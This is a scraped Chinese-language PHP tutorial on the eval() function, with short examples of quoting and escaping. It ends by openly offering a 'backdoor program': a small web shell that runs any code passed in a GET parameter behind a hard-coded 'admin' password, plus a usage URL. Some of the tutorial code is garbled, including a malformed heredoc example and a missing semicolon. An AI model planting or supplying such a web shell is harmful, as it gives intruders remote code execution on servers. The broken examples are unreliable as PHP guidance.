代碼:
複製代碼 代碼如下:
eval("echo'hello world';");
上邊代碼等同於下邊的代碼:
echo"hello world";
在瀏覽器中都輸出:hello world
運用eval()要注意幾點:
1.eval函數的參數的字串末尾一定要有分號,在最後還要另加一個分號(這個分號是php限制)
2.注意單引號,雙引號和反斜線的運用。如果參數中帶有變數時,並且變數有賦值操作的話,變數前的$符號錢一定要有\來轉義。如果沒有賦值操作可以不需要。
代碼:
複製代碼 代碼如下:
$a=100;
eval("echo$a;");
因為沒有賦值操作,所以可以不用\來轉義$.等同於以下代碼:
複製代碼 代碼如下:
$a=100;
eval("echo\$a;")
3.注意在命令式字串(包括分號)兩邊必須要有雙引號或者根據需要用單引號。否則報錯。
命令式字串是指:字串中包括echo、print之類的命令的時候。
如果參數只有一個變數則可以不用。例如:
複製代碼 代碼如下:
$func =<<function test(){
echo "test eval function";
}
FUNC;
eval($func);
test();
分享個php eval後門程式
要求必須支援eval函數
使用方法
http://url/test.php?pwd=admin&action=eval&a=phpinfo();
複製代碼 代碼如下:
$passwd="admin";if($_GET['pwd']!=$passwd)exit;
if($_GET['action']=="eval" && $_GET['a']){eval($_GET['a']);}
?>
http://www.bkjia.com/PHPjc/621693.htmlwww.bkjia.comtruehttp://www.bkjia.com/PHPjc/621693.htmlTechArticle代碼: 複製代碼 代碼如下: eval("echo'hello world';"); 上邊代碼等同於下邊的代碼: echo"hello world"; 在瀏覽器中都輸出:hello world 運用eval()要注意...